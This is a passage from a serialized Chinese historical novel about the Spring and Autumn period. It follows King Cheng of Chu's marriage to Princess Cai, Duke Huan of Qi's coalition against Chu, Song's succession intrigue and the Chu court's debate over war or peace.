繁琐的六礼终于完成,两国定于第二年二月初六举行婚礼。从上蔡到郢都三百多里,来回要走好几天。蒍吕臣早早就带着庞大的迎亲队伍前去迎亲。楚成王刚送走蒍吕臣,母亲息妫就派人叫他去紫金宫。
紫金宫是楚文王为息妫修建的寝宫。寝宫楼高两层,为重檐歇山顶式建筑。顶部左右两端的凌空飞檐,为一龙一凤遥遥相对,庄重而秀丽。顶部四坡的九条屋脊,全部镶嵌着艳丽的红铜,经过锻淬的楚国红铜,红艳中透出金黄的光艳。正门左右的八根廊柱,也以红铜镀上各种凤鸟花卉图案,隽秀而瑰丽。远远望去,整个寝宫金碧辉煌,气派非凡。
楚成王一进门,见母亲满脸怒气地坐在正堂大位上,立即上前行礼,说道:“母亲急召孩儿,有何要事?”
年近五十的息妫一头乌发,挽着一个平常的发髻,用一只玉笄插在发髻上,头上再无首饰。几绺散发垂落脸颊,自然随意。那洁白如玉的脸庞,依然美艳撩人,那深渊般的大眼,仍旧波光盈盈。过去名传中原的绝色美女,今日芳华依旧,全身散发着迷人的神韵。她身穿一件蓝色锦绣短袄,端坐正堂之上,两手放在胸前,板着面孔对儿子说道:“蔡女不能娶!”
“为何不能?”楚成王有些怕母亲。
“满城都知蔡女为再嫁之身,独母亲不知!吾儿初婚,岂能娶再嫁之女?且齐侯未写休书,若他来要人,我儿给还是不给?”
熊恽一听,知道瞒不过母亲了。起初,屈完和蒍吕臣都嘱咐他,婚姻大事,要与母亲商量。他当晚请示母亲,却有意隐瞒了蔡姬的再嫁身份,使事情进展十分顺利!现在,母亲知道了真相,他只好硬着头皮说道:“叔伯已经走远!若此时悔婚,岂不失信于天下之人?”
“为何欺瞒母亲?婚姻大事,岂可草率?蔡女任性妄为,激怒齐侯,回国后又克死母亲!此为不祥之人,安得为妻?”从来性情柔和的太后恼怒了
“母亲不必多虑!齐侯心胸狭窄,不容公主摇船,非公主之过!蔡母年迈多病,气息奄奄,迟早将逝!何必耿耿于怀?”
息妫也是再嫁之身,而且是楚文王抢来的!儿子的话,好象在点醒她!可她有切身经历,再嫁与初婚就是不同!但她无法说出口,便耐心劝道:“天下诸侯之门,淑女何其多也!为何要选再嫁之身?此女若生下子嗣,立嫡则不妥,不立又有祸患!吾儿奉天承命,当思百年之计!”
熊恽一听,以为母亲还
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在责怪自己与哥哥兄弟相残!便说道:“母亲宽心,若生下男嗣,可提早立嫡,以免祸起萧墙!”
母亲一听,急了,说道:“不可!此女只能为妾,不可为妻!”
“谨遵母命!”熊恽明白,母亲的意思是,蔡妃为妾,她生下的男丁就没有王位继承权。但他从未见过母亲如此发怒,只好息事宁人,暂时答应母亲。母亲望了他一眼,心亊重重地进里屋去了。
几天后,蒍吕臣带着新娘和媵人回到郢都!住进国馆之中。第二天,即二月初六辰时,楚宫举行隆重的迎亲仪式!
辰时的阳光,鲜艳美丽。子文带着楚宫的迎亲车队浩浩荡荡地前往国馆。在国馆正门前停下。司仪站在门前,大声喊道:“大楚令尹奉王命前来迎娶新娘,请新娘下楼!”
护送蔡妃前来的蔡夫人一听,说道;“大王没来?”
一侍女说道:“宰夫言明:是令尹来接!”
蔡妃把脸一摆,说道:“楚宫离国馆咫尺之遥,大王为何不来?”
蔡夫人转眼一想,蔡是楚的附属国,妹妹又是再嫁之身,这样安排也不算失礼,忙劝道:“令尹为楚国上卿,百官之首,何屈之有?”
此时的蔡妃再也不敢任性了,任侍女们披上红盖头,被嫂嫂扶下楼来。一出门,蔡夫人问道:“大王何在?”
“大王在祖庙前恭候公主!”子文说完,示意侍女们扶新娘上轿。司仪喊道:“起轿——回宫-——”
这是第四代楚王第一次大礼迎娶中原公主。本来迎亲队伍就十分庞大,又加上新娘的彩轿、大量的媵人以及蔡国送嫁的官员和亲人,使得队伍异常壮观!郢都更是万人空巷,百姓全挤到接亲的路上来了。街道两边人群簇拥,摩肩接踵。都想看看中原公主的容貌。可新娘在轿内,百姓什么都看不见,便尾追花轿缓缓来到宫门之前,眼见彩轿入宫,还是不肯离去。
宫门内也热闹非凡。楚宫大小百官、嫔妃媵嫱、王子王孙及内侍宫女等等,都在茅门外等着新娘的到来。花轿一进宫,就在茅门外停下。月儿和蔡国陪嫁的媵人将蔡妃扶下轿,向祖庙走去。可前面的路上倒竖着一大片密密麻麻的刀剑!众侍女只好扶着蔡妃在刀剑丛中小心翼翼地走过。刚过完刀山,眼前突然火起。刀山有缝隙,可火海却没有!月儿作主,扶着蔡妃从火海中踏过。一过火海,楚成王就把手中捧着的大雁送给她。忙扑打她身上的火星。她看了看正摇头摆尾的大雁,脸上露出笑容,将它交给身边的月儿,挽着楚成王的胳膊,一起走入祖庙。
屈完在一边默默看着仪式,突然问子文道:“太后如何没来?”
子文若有所思地说道:“太后不愿大王娶蔡妃,自己不来,也不许大王到国馆接亲!”
“如此,婚礼不全,蔡妃必生怨恨,不可为后也!”屈完说道。
子文点点头:“太后不悦,难封后也。”
“先娶为嫡,又不能封后,后宫必乱也!”屈完忧心忡忡地说道。(未完待续,下章更精彩)
第8章 霸主一怒硝烟起
蔡妃嫁与楚王,消息传遍中原,齐桓公气得擂胸顿足,叫道:“蔡侯无礼!楚蛮无礼!夺妻之恨,不能不报也!”他只恨自己一时冲动,肠子都悔青了!其实,他心里还是喜欢这个小丫头,并没有休妻打算,只想惩罚她一下。现在,弄得整个中原都知道楚王抢走了他的老婆,他霸主的脸还能往哪儿搁?
“速请仲父进宫议事!”齐桓公对着公子开方咆哮道。
公子开方吓得赶紧去叫管仲。管仲也知道了楚王迎娶蔡妃之事,微笑着走出府门,对公子开方说道:“速请众臣进宫,共议大事!”
公子开方立即命令身边的内侍:“速传管相之令,在朝众臣入宫议事!”
实际上,齐宫的大臣们都得到了消息。可进入宫中,大家都不开口。楚王抢走了君侯的老婆,他们该怎么说?一个个低头不语,只等齐桓公下达报仇的命令。
可齐桓公更不好开口!自己的老婆都守不住,难道叫众臣帮他把老婆抢回来?他清了清嗓子,若无其事地对管仲说道:“仲父召众臣进宫,有何事面奏?”
“禀君侯!”管仲当然明白君主的曲衷,他亮开嗓门,冠冕堂皇地说道:“自幽王失宗周,致礼崩乐坏,天子无尊,天下诸侯自相残杀,祸乱至甚者,楚蛮也!楚人灭我江汉诸姬,亡我申国,劫我息国,其势威逼淮水!中原诸侯皆欲征讨!切望君侯以中原苍生为念,以方伯之尊,号令诸侯共讨南蛮!则中原幸甚,天下幸甚!”
齐桓公一听,还是仲父会说话呀!我若以方伯的身份,号令诸侯伐楚,剪除边患,也是报夺妻之恨啊!
读者谨记:方伯的“伯”,在这里不念“伯”,而念“霸”。在古代,伯者,霸也!方伯,即主宰一方的霸主。周朝是分封制,千里之外设方伯,是周朝的定制。三监之乱以后,周公旦谢世之时,周成王担心别的国家也作乱,自己又鞭长莫及,便令大臣召康伯来到齐国,授予方伯之权:东临大海,西至黄河,北起渤海湾西南的无棣(今山东滨州市)南达穆陵关(今山东潍坊市),无论是公、侯、伯、子、男哪个等级的诸侯,还是九州之牧,齐国都有讨伐的特权!
这是诸侯至高的权力和尊荣。天子如父,父亲的权力无可争夺,但大哥的霸主之位则能者居之,可以争夺。春秋三百年的争霸史,由此而来。
因此,齐国并非一直都是霸主。特别是到了第五代姜不辰时期,相邻的纪国国君向周夷王诬告齐国谋反,周夷王不分青红皂白,将姜不辰抓到犒京,放进滚烫的油锅烹杀而死!他,就是齐哀公!齐国从此霸权失落。直到小白承位,在管仲的辅佐下,才重拾霸主之权!现在,他正好名正言顺地以霸主的身份,召集中原诸侯伐楚!既顺应东夷诸国的要求,也为大周王朝扫除边患,更能兼报私仇!
听完管仲的话,齐桓公喊道:“大司马何在?”
络腮胡宾无须挺身而出,说道:“末将在!”
“速清点军马,备足粮草,不日举三军伐楚!”
“臣遵命!”
齐桓公又喊:“大行何在?”
外交部长隰朋应声而出:“微臣在!”
“传檄宋、鲁、卫、郑、陈、曹、许等国,以三月上旬为限,发兵楚国!”
“君上且慢!”管仲见齐桓公如此着急伐楚,担心起来,说道:“不可直接向楚发兵,以防楚人各个击破!”
“仲父有何良策?”齐桓公也感到自己有些着急了。
“可先令大行前往宋国,与宋公商榷伐楚之事!若得宋公支持,可令诸侯兵发蔡国!剪除楚国羽翼!再趁势伐楚,攻其不备,则大事可成!”
齐桓公一听有理!蔡妃嫁往楚国,肯定是蔡侯捣的鬼!不能放过那个瘦猴。再说,若大张旗鼓地直接伐楚,楚人必早作准备,严阵以待,那样,胜算还有几分?他点点头,说道:“仲父言之有理!大行先往宋国,密告伐楚之事!若宋公允诺,则兵发蔡都!”
“隰朋必不辱使命!”外交部长信心满满地说道。第二天一大早,便前往商丘。
商丘,商族的发祥地,位于今河南东部,东临淮北,西扼开封,北接荷泽,南襟亳州。当年,周公旦平定“三监”之乱后,奏请周成王将殷末三贤之一的微子以公爵之尊封到这里,赐国号宋。徽子在商丘的睢水之南建起了自己的都城:睢阳。重建商族宗庙,祭祀商族先祖,使商人再获新生。新朝天子以无限博大的心胸,让王朝大敌的子民据守在这中原的膏腴要地。
微子以卑微之心,谦恭之礼,无限感激之情,带领宋人事奉新的王朝。使轮替的新旧族群和谐共生。微子的美名传遍华夏。他薨世之后,商人把安葬他的高山改名微山;把微山脚下的湖泊改名微山湖,至今三千多年不变。
微子的贤良,为后世树立了光辉的榜样。而宋国的第十
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九代君主御说,也继承了先祖的品德,成为中原诸侯乃至齐桓公尊敬的一代君主。
御说是宋国第十七代君主宋闵公的庶弟。他们的父亲宋庄公薨世时,宋闵公作为嫡长子,名正言顺地继承了君位。但是,宋国人都感到可惜,因为弟弟御说比哥哥更贤。但哥哥嫡出,又是长子,宋人无奈,只好接受现实的安排。
当时,宋国的大司马叫南宫长万,力大如牛,武艺高强,在中原几乎没有对手。可在与鲁国的战争中,被鲁庄公用金仆姑宝箭射伤被俘。宋闵公觉得可惜,便向鲁庄公求情,将南宫长万释放回来。
照理,宋闵公对南宫长万有再生之恩,大司马也对他感激涕零。可宋闵公一接回南宫长万,却对他说道:“我以前很尊重你,但现在你为鲁囚,我再也不尊重你了!”
南宫长万的感激之情一下荡然无存,但他也只好忍气呑声。
公元前682年秋天,宋闵公带着南宫长万在蒙泽打猎。这天,阳光明媚,两人正在帐棚外下棋,南宫长万一连输了五局,罚了五大杯酒,喝得满脸通红。这时,侍卫带着周廷的王使过来,悲伤地禀报:“天子驾崩了!”
宋闵公心里一沉。天子就是周庄王,他在位仅十五年,如此早逝,令人伤感。他劝慰王使道:“孤当派重臣至王城吊唁!王使节哀!”
王使默然退去。南宫长万立即说道:“乞国君遣下臣前往王城吊唁,臣下未至洛邑,亦欲一睹新王天颜。”
“汝岂可为使?”宋闵公轻蔑地瞥了他一眼,说道:“大宋无人耶?安得遣一鲁囚觐见新王?”
酒力正盛的南公长万忍不住这种羞辱,满腔怒火冲天而起,捡起一块石头猛地砸了过去,正中宋闵公的脑袋,只见血浆迸溅,宋闵公当即一命呜呼,**。
弑君的南宫长万干脆一不做二不休,他杀**朝廷的几位重臣,拥立宋闵公的弟弟公子游为君!公子御说怕受牵连,当晚逃到亳城去了。
南宫长万担心国人拥立公子御说为君,便发兵将亳城团团围住,誓要诛杀御说。
就在这危急时刻,御说派出死士,向萧地的总督萧叔大心求救。身材高大魁武、为人忠义豪爽的萧叔大心立即联合宋国各代君主的遗族,又借曹国之兵,联合打败了南宫长万的军队,用计诛杀南宫长万,救出公子御说,拥立他成为宋国第十九代君主!(未完待续,下节更精彩。)
第9章 霸主一怒硝烟起(2)
公子御说为君的这一年,正逢齐桓公召集中原诸侯在北杏会盟!齐桓公派宁戚到宋国劝说御说加入中原同盟,共举“尊王攘夷”的大旗。即共尊天子,听从天子的号令,一起抗击四夷的侵略!御说义无反顾地加入同盟,成为齐桓公最有力的帮手。特别是在卫国遭受北狄屠城的危难时刻,御说最先率宋军赶到,打败了强悍的狄人,救出卫国臣民七百三十人,避免了卫国**灭种的历史惨剧,让中原诸侯刮目相看。因此,此次伐楚,管仲提出要先找宋国商量,可见宋国在中原同盟中的份量。
可是,当隰朋还未到商丘时,宋桓公御说却病倒了。明白他心事的萧叔大心闻讯从萧国赶来看望他。
萧叔大心在南宫长万之乱中第一个挺身而出,联合五大遗族和曹国救出了御说,还力推他为君。为表彰萧叔大心的功绩,御说登基后的第一件事,就是将萧地封为萧国,令萧叔大心为萧国国君!从此,萧国人以萧为氏,后来氏衍变成姓,而萧叔大心则是萧姓的始祖,1今人已经把萧简化为肖。
萧叔大心走进后宫卧寝,看见当年意气风发的御说真的老了,瘦了!时间飞逝,转眼二十五年过去了!当年拨乱反正的一代明君,今天已满头白发!他心酸地坐到塌前,对君主说道:“闻君上忧愁忧思,夜不能寐,莫非为后事担忧?”
“知我者,萧叔也!”也许是两人心意相通,御说一见到他,病就好了一半。他一下就坐了起来,说道:“萧叔教我,兹甫与目夷孰贤?”
“知子者,莫若父!君上欲立目夷,何必问我!”他一下就点透了御说的心事!
宋桓公有两个儿子。老大目夷贤明、谦逊,知书达理,温文尔雅。御说非常喜欢。但他的母亲是御说为君前的结发妻子,没有显赫的家族背景。御说登位后,娶了卫国公主为嫡夫人,夫人生下一子,取名兹甫,自然立为嫡子,成为君位的合法继承人。
兹甫同样聪明、好学而且懂礼。但御说的感情深处,却总是偏向目夷。这不仅因为目夷是老大,是结发妻子所生,更重要的是,老大的言行举止更像自己。
当年,自己因为是庶出,没有继承权,差点被南宫长万害死!目夷以后会遭受这样的命运吗?他的心,总是牵挂着这个儿子。但嫡子兹甫没有任何过失,他又不敢擅自废嫡立庶,便只在心里折磨自己。
“孤欲改立目夷,然兹甫亦贤,孤于心不忍!因此踌躇至今。”
“君上可召兹甫问之,若其不容目夷,则须废之,立目夷为嫡!若其心胸开阔,仁爱孝悌,则不宜废立!”
“萧叔之言善哉!”御说的病又好了一半!他转头对静立其右的弟弟公子成说道:“右师亲往世子府,传兹甫进宫!”
“谨遵君命。”在宋国,右师就是执政卿相。他来到世子府邸,刚进前院,就听到了兹甫的声音。
“众等须知,礼为国之天柱也!某平生之志,便是匡护周礼!中原有礼,则族群共生;无则杀戮不断,人人自危也!”
“既如此,世子承位,更宜护礼也。”好像是目夷的声音,堂门大开,公子成走了进去,兹甫瞥了他一眼,继续对目夷说道:“兄长可知,自幽王失宗周,礼崩乐坏也!若以国护礼,国必遭殃!”
“世子无国为依,一人何以护礼?”
“兄长安心治国,兹甫游说中原诸侯,岂不两全——”
“君上有令,传世子入宫!”公子成知道兹甫能说会道,干脆打断他的演讲,使得引颈静听的公室子弟们都转向他。
“众等请回,今日到此为止。”兹甫说完,随公子成走了出来。
这时,陪着宋桓公聊天的萧叔大心闻宫人通报,立即起身告辞:“君上父子叙谈,老臣告退!”
“萧叔留步!请在屏风后坐听。”御说不仅把萧叔当恩人,更把他当作知己,让他参与立嫡大事的决断!
不久,公子成带着一位高个长脸的年轻人走了进来。只见他身穿一件白色锦袍,那如成年人一般清癯的脸庞,高高的鼻峰,令萧叔大心感到有些异样。细看那幽深的大眼明显下陷,总觉有一种凄苦之感。但他神态沉静而优雅,向父亲鞠躬致礼道:“儿臣给君父请安,君父有何吩咐?”
“甫儿,君父老矣!今久病难愈,恐国事荒废!汝为嫡子,今将朝中之事交汝处置。若遇疑难,可与目夷商议!”
“君父宽心,兹甫必尽忠国事!若遇疑难,必请教长兄!”
“汝二人兄友弟恭,后事可托也!”
“禀君父,目夷仁孝贤良,又为兄长,大事可托也!”兹甫语意真诚地说道。
“不可胡言!汝为嫡子,须担当国事,岂可推给兄长!”
“兄长好学知礼,韬略纵横,尤宜为嫡!恭请君父册立目夷!”兹甫俯下身来。
“不可造次!废立大事,岂可随意更改?君父自有决断,汝且退下。”
“君父三思,儿臣退下!”兹甫鞠躬九十度,徐徐退下。
萧叔从屏风后走出来
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,笑道:“哈哈,有子如此,夫复何求?”
“或许甫儿早知为父心事,故意为之?”御说还是不放心。
“为父者,为何如此揣度自己的孩儿?若孩儿知父之心,顺势而为,亦为仁孝也!”
御说一听,有道理啊!顿时觉得全身轻松,病好像全好了。这时,宫中内侍来报:“禀君上,齐国大行隰朋来聘!”
“隰朋今来,必有大事!走,萧叔!随寡人入宫见客!”
英俊的隰朋头戴浅色貂皮冠,身着紫色锦绣短袄,下着黑色锦裳。高挑的身材,匀称而轻盈。秀眉黑眼之下,高高的鼻梁笔直圆润。他快步走入宋宫大殿,对头戴九旒君冠的宋桓公施礼道:“齐使隰朋奉寡君之命拜见宋公殿下!”
“隰朋不必多礼,齐侯可好?管相尚健否?此来睢阳,有何要事?”
“我主安好!管相尚健!皆问宋公无恙否?”
“微疾小恙,不值一提,齐侯有何见教?”
“宋公!自北杏之盟至今,二十五载矣!今中原安宁,北狄、西戎、东夷皆臣服天朝。惟楚蛮独自称王,不朝贡天子。灭我江汉诸姬,亡我申、息诸国,其势直指淮水,其心欲吞并中原!若不讨伐,中原亡无日也!齐侯欲举兵南下,横扫楚蛮,以除边患!期宋公携手同进,共赴危难,中国诸侯必闻风响应,大事必成!惟宋公思之!鉴之!”
“壮哉!齐侯欲除蛮楚之患,安定南境,此为尊王攘夷之大举也!御说安得不为马前一卒,以效死命?隰朋转告齐侯,宋必大举三军,不日启程,效命齐侯麾下!”
管仲可谓明察秋毫,隰朋果然不辱使命!为什么?还在病中的宋桓公为什么对讨伐楚国如此坚定?
因为,楚人是商人的死敌!
楚人的先祖祝融陆终,生下六个儿子,几乎全部封邦建国!可到了商朝,几乎斩尽杀绝!剩下季连的羋姓一支幸免于难!而当周武王讨伐商都朝歌时,祝融的后代,季连的子孙又是最先攻入朝歌,成为消灭商朝的先锋!虽然几百年过去了,但双方都忘不了自己的仇人!而商人更担心楚国一旦强大,必向自己复仇,故御说坚定参加伐楚联军!
隰朋见宋桓公态度如此坚决,喜不自禁,说道;“宋公高义!我主必喜!请以三月上旬为期,兵发蔡国,我主引兵至上蔡,以待宋公!”
“寡人必如约而至!”御说坚定地说。
“隰朋告辞!”他转过身去,心满意足地走了。(未完待续,下章更精彩)
第10章 楚成王战和难定
宋国态度如此坚定,齐桓公喜出望外。他拜管仲为联军主帅,封参加过北伐山戎的宾须无、隰朋、公子开方和竖貂等为大将,倾举三军,共三万多人,直指蔡都上蔡。
竖貂一路上忐忑不安。他受尽了蔡国的贿赂,所献联亲之计为蔡国带来灭顶之灾。如攻破蔡国,姬肸被俘后说出自己**之事,齐桓公必然大怒。怎么办?苦思良久,他向桓公主动请战道:“末将屡次使蔡,对上蔡了如指掌,请为前锋!”
管仲正要阻拦,齐桓公说:“蔡妃娶逐,全赖将军迎送,正合此用!”于是令他领兵攻城。
竖貂身材瘦小,却面容俊秀,眼大而黑。他盔甲鲜亮,站在战车之上,对着城门大喊:“蔡侯且听,齐侯领联军到此,请速出降!否则,破城之日,玉石俱焚!”说完退兵还营。
姬肸在城墙之上一看,是竖貂领军!他心中一喜。见他喊完话就撤兵,心领神会,当晩就遣心腹到齐军先锋大帐,与他密会。
竖貂对姬肸的心腹说道:“中原大军不日齐集上蔡城下,明为讨蔡,实则伐楚!蔡不可守!望蔡侯速逃,前往楚国,报楚王早知。”
心腹立即回报蔡穆侯。蔡穆侯万般无奈,带着嫔妃媵嫱、公子公孙及公室成员,连夜逃往楚国。这天一大早,他便哭丧着脸奔向楚堂,对楚成王说道:“大王,蔡国亡也!”
楚成王一听,那还带着稚气的宽脸上,顿时肃穆起来。他双眼圆瞪,问道:“蔡侯何出此言?谁敢犯蔡?”
“齐侯大军兵临上蔡,前日围城,今日城破也!”
“齐侯果然来扰!蔡侯勿忧,不谷必出兵一战,为蔡侯复国!”
蔡穆侯感动地说:“谢大王!齐师此番南征,明为讨蔡,实为伐楚!军中密报,那齐侯已召宋、鲁等中原七国之师,不日会于上蔡,只为联合伐楚!大王当心!”
朝堂“轰”地一声,众楚臣都被震惊了!楚成王也大吃一惊,半天说不出话来!他知道,该来的终究要来,他避无可避!便厉声说道:“不谷必与联军决一死战!”
这时,站在左排首位的斗谷於兔说道:“此战非同小可!若中原诸侯联合来犯,须小心应对!大王须举大朝,速召百官并各国国君、各县县公、各族宗伯入宫,以定方略!”
“令尹言之有理!不可轻开战端,须举朝共议。”屈完心中发凉,联军这么快就来了,他一时还不知怎么办。
楚成王听完两位重臣的话,缓缓走回王座,说道:“廷尉何在?”
“臣在!”一名高大的内宫武将应声上前。
“速召各县县公、各族宗伯入郢,大朝议事!”
“遵命!”廷尉承命,迅速跑了出去。
楚成王坐下,见蔡穆侯还傻傻地站在那里,说道:“蔡侯受惊,不谷今夜设宴,为蔡侯压惊!齐师已入上蔡,蔡不可回!蔡侯暂留郢安居。郢南紫金宫旁有一伴月宫,蔡侯可暂居此宫。”
“谢大王!”蔡穆侯只得在楚国住了下来。
“叔伯何在?”楚成王问道。
“臣在!”上大夫蒍吕臣上前说道。
“汝领蔡侯一行前往伴月宫,悉心安置!”细心的楚王担心慢待这个姨夫。
“臣领命。”胖乎乎的蒍吕臣说完带着姬肸走了出去。
楚成王心情变得沉重起来。他名恽,因楚国王室以熊为氏,史称熊恽。中等个头,敦厚的身材,一副宽脸之上,厚厚的嘴辰,隆准的鼻梁,一双大眼明亮有神。只是那眼珠中露出一抹黄色,冲去了面相的纯厚感。
他是楚文王的次子,为息妫所生。息妫被抢回楚国,为文王生了两个儿子。哥哥叫熊艰,比他大两岁,兄弟俩从小就不和。父亲楚文王去世后,熊艰继位为君。可他日夜担心弟弟夺位,屡次密杀熊恽,激起满朝公愤!在熊艰承位的第五年,熊恽在斗谷於兔和屈完的辅佐下,将哥哥诛杀,被拥立为王。
可是现在,中原大兵压境,他从哥哥手中夺回的江山危在旦夕!太祖厉王、祖父武王、父亲文王开疆辟土至今,辟地千里,难道将要毁在自己的手里吗?
他一下变得心事重重,默然走向后宫。
穿过前殿连接后宫的专用通
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道,楚成王沿着红色山石铺成的后宫甬道走向北宫,进入绿色髹漆的北宫宫门,前面是一堵雕绘着龙凤戏舞的萧墙。他从右边绕过萧墙,眼前出现一个宽阔的庭院,庭院内栽种着各色花草树木。他从中间的甬道穿过庭院,跨过各色奇石砌成的垂花门,眼前又是一个小庭院,庭院之前,就是寝宫。站在寝宫门囗的侍女见大王到来,立即进入朱红雕花的小宫门,喊道:“大王驾到!”
蔡姬听到喊声,立即出来。她穿一件红色绣花罗衫,最上的一粒布扣还未扣上,就急急走向大门,不料楚成王已穿过小庭院,来到门口。蔡姬和几名侍女分立门两边,垂首说道:“恭迎大王!”
楚成王毫无表情,一步跨进门槛,蔡姬却笑吟吟地上前一跳,娇嗔地说道:“大王来也!”说着为夫王取下王冠,顺势交给月儿。可月儿可还未拿稳,她却松手了,王冠直往下落,月儿迅即抓住冕旒,把王冠抱住。可冕旒被扯断,五色旒珠撒了下来,满地乱滚!
熊恽心生不满,骂道:“没用的东西!”
“大王恕罪!”蔡妃吓得跪了下来。
月儿和侍女们赶紧把王冠放在冠架上。跪地说道:“大王恕罪!”
王冠受损,让楚成王预感不祥!他右手一甩,独自进入内屋。
蔡妃说道:“快,快捡旒珠!”
年轻的楚成王本来决定与八国联军一决高下!但旒珠撒落,让他感到不吉。他该怎么办?
楚国征战百年,从五十里的丹阳之地,打出江汉以南的千里江山,正是挥戈北伐的最好时机,可却碰上了一个齐桓公!让他头痛不已。现在想来,真不该招惹那齐国!难怪屈完和母亲那样反对他娶这个女人!
莫非她真是个不祥之人?
不!他想起蔡妃俏皮可爱的样子,怜爱又生。楚国与中原终有一战,又岂能怪一个女人?大周王朝始终把楚人当敌人,从周昭王开始,就一次次地攻伐围剿!却没有一次赢过楚人!今天,天子没来,霸主却来了!他要象先祖一样,打败中原联军,再现先祖的辉煌。
第10章 楚成王战和难定(2)
时间回溯至二百多年前。公元前1027年,周成王按周公旦的遗嘱,分封楚国后,鬻熊的重孙熊绎成为楚国的第一位有爵位的君主。虽为子爵,但爵位高低都是恩。熊绎每年坐着牛车到犒京(今日西安)进贡,以尽属国之礼。公元前1021年,周成王姬诵驾崩,其子姬钊继位,他,就是周康王。熊绎依例进镐京朝贺新王,恰遇齐、晋、鲁、卫四国君主同来进贡朝贺。周康王赏给齐君呂伋金鼎,赏给晋君燮金钟,赏给鲁君伯禽金饰王舆,赏给卫君子牟金鼓。可唯独对熊绎连奖励的话都没有。熊绎空手而归,忧郁而死。
楚国无奈,熊绎之子熊艾承位后,依然忍辱负重,进京朝贡,不久也忧郁死去。其子熊亶继位。就在这时,在位二十四年的周康王去世,其子姬瑕继位,他,就是周昭王。
公元前977年,在位十九年的周昭王,竟率王师打过来了。
其实,这已是周昭王第二次南征了。为什么?首先是楚地发现大量铜矿,王朝要与楚人争夺铜矿资源。其次是抑制楚人。三年前,周昭王第一次南征,把王室大大小小的公子公孙们全都带来,在楚囯四周扶持或封建了权国、随囯、鄀囯、邓国、卢国、罗国、蓼国、息国等大大小小的十几个国家,把楚国包围起来。天下诸侯半姓姬,故后来这些国家被统称为江汉诸姬。
楚国与周王朝的矛盾终于激发!此时,建国已半个世纪的楚人势力已经强盛起来。熊亶率领楚人用对付商军的办法,利用江汉之地的山岭湖泊,采用伏击、偷袭等办法骚扰王师,使王师疲于奔命。王师进军时,在一个巨大的山谷被楚人伏击,恰巧天降大雨,王师地形不明,水土不服,惊惶失措。楚人趁机杀出,天子六师大败!周昭王率残部北逃,在过汉水时,楚地民众把用树胶粘起的船只为他铺成一座浮桥。可那树胶被雨水泡久后粘性渐失,周昭王走到河心,大雨滂沱,木船开始漏水,周昭王与残兵掉进汉水活活淹**!
周昭王殒命!六师尽丧!震惊中原!熊亶大喜,为嫡长子取名熊胜。楚人从此信心大振,不再惧怕周王的讨伐了!
大周王朝再也不敢讨伐楚国了!楚人赢得了两百多年的发展期,将江汉诸姬全部扫灭,占领了中国之南。今天的楚国,已是辟地千里,带甲百万的泱泱大国了。与中原一战,还不知谁输谁赢呢。
就在这时,只听寝殿中月儿惊恐地喊道:“王妃!王妃!大王快来,王妃晕过去了!”
熊恽赶紧出来,见蔡姬倒在地上,双眼紧闭,脸色惨白,月儿用右手臂托着她的头,急得哭了起来。
“王妃怎会晕倒?”熊恽奇怪地问道。
“王妃捡完旒珠,正要起身,就倒了!幸好头未着地。”
“快,抬上床去!”
寝殿的侍女们都围了过来,众人七手八脚地把蔡姬抬到床上,可不一会儿,她却扑在床沿呕吐起来。
“快,叫宫医!”
侍女们忙着清除秽物。熊恽则更加奇怪,久蹲之后猛然站起,还有可能晕倒,可怎会呕吐呢?正想着,一名女宫医匆匆赶来。
女宫医翻看了一下她的眼睛,然后为她把脉。
把脉良久,宫医突然笑了起来,说道:“恭喜我王,卑职探得喜脉,王妃怀孕了!”
熊恽一听,高兴走过去。拿起蔡姬的右手,用右手食指探摸她的脉搏。这时,蔡姬睁开眼,笑着问道:“脉象与常人有何不同?”
“果然跳得更快、更重!”
蔡姬说道:“还不知是男是女呢。”
“若为男儿,必有重赏!”楚成王高兴地说道。
“大王有何赏赐?”蔡姬睁大眼睛逼问起来。
楚成王的眼前闪过母亲严厉的目光,不好开囗。却听月儿喃喃说道:“封后。”
楚成王笑了笑,点了点头。
月儿说道:“必定是位男儿,将来大楚之王!”
熊恽的脸色却突然沉了下来。但这是他的第一个儿子,他的心,一下又舒展开来。
这天清晨,楚国令尹斗谷於兔、莫敖屈完及在朝大臣、三军将帅、各县县尹、各族宗伯齐集郢宫大殿,举行盛大朝会,共商御敌之策。
大殿内济济一堂。楚成王神色冷峻地坐在王座上,高声地说道:“据报,齐侯领齐、宋、鲁、郑、卫、陈、曹、许八国大军会师上蔡,欲与大楚一决雌雄!今齐军已攻克上蔡,八国诸侯不日即至!是战是和,众卿及诸位宗伯共议!”
大殿“哄”地一声炸开了锅!有军中将领愤怒地问道:“齐侯以众犯寡,仗势欺人,不如拼死一搏!”
“决战!决战!”各地的县公和宗伯义愤地高喊。
一位长着轮廓分明的四方大脸,虎背熊腰,身材异常高大的将领说道:“中原视我为南蛮,必除之而后快,我与中原必有一战!大王何必犹豫?”
说话者就是左军元帅斗宜申,字子西。在朝堂中,他个子最高,声音也最宏亮,惹得所有的人都看着他。
“若不能胜,又将如何?”站在他身边的另一位将领忧心忡忡地说道。他叫斗勃,字子上,是右军元帅。他也是高高的个头,但与斗宜申相比,却矮了许多。他的宽脸却轮廓更圆润,面相更清秀。
“子上何出此言?大王不必犹豫,此战必胜!”一位年轻英俊的将领突然站了出来,向楚成王躬身施礼,然后说道:“其一,中原联军貌似强大,实为乌合之众。卫囯受北狄屠戮,几近**,其国只有七百余人幸存,岂算一军?许乃羸弱之国,徒为充数耳!郑囯已与我暗中结盟,不过被挟持而来,怎会全力拼杀?陈、曹二国亦不足虑也。中原所依仗者,惟齐、宋、鲁三国。管仲虽智,奈已老迈,不复当年救燕伐戎之勇也!其二,大楚前有方城之坚,后有江汉之险,高山湖泊尽为我用,定能以一当十。其三,北方联军远涉江南,水土不服,粮草不济,若相持日久,必不能支!若我烧其粮草,断其粮道,联军必败!一战而定天下,就在今日!”
说话的就是成得臣,字子玉,是子文的幼弟。他长就一幅国字脸,高高的鼻梁,粗眉竖立,一双黑色的大眼,明亮而灵动。他身材高大,皮
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肤洁白,俊秀而威严!他是楚国的中军主帅,武功超群,韬略非凡,是公认的军中帅才,就连若敖屈完也敬他三分。
楚成王一听,说道:“人言子玉大材,果然不虚。言之有理!”
“不可与战!”楚成王话未落音,又有一人站出,向大王行礼,说道:“大王,大楚不可与中原为敌!此战若败,则大楚又回山林湖泊之中,虽筚路蓝缕,也须百年再兴!联军若败,则中原诸侯必同仇敌忾,卷土重来。来者何止八国?大王,齐侯乃仁徳之君,管仲为一代贤臣,若我以礼待之,与中原结盟,则大楚幸甚!中原幸甚!”
“叔伯目光长远,一语惊人也!”若敖屈完赞道。
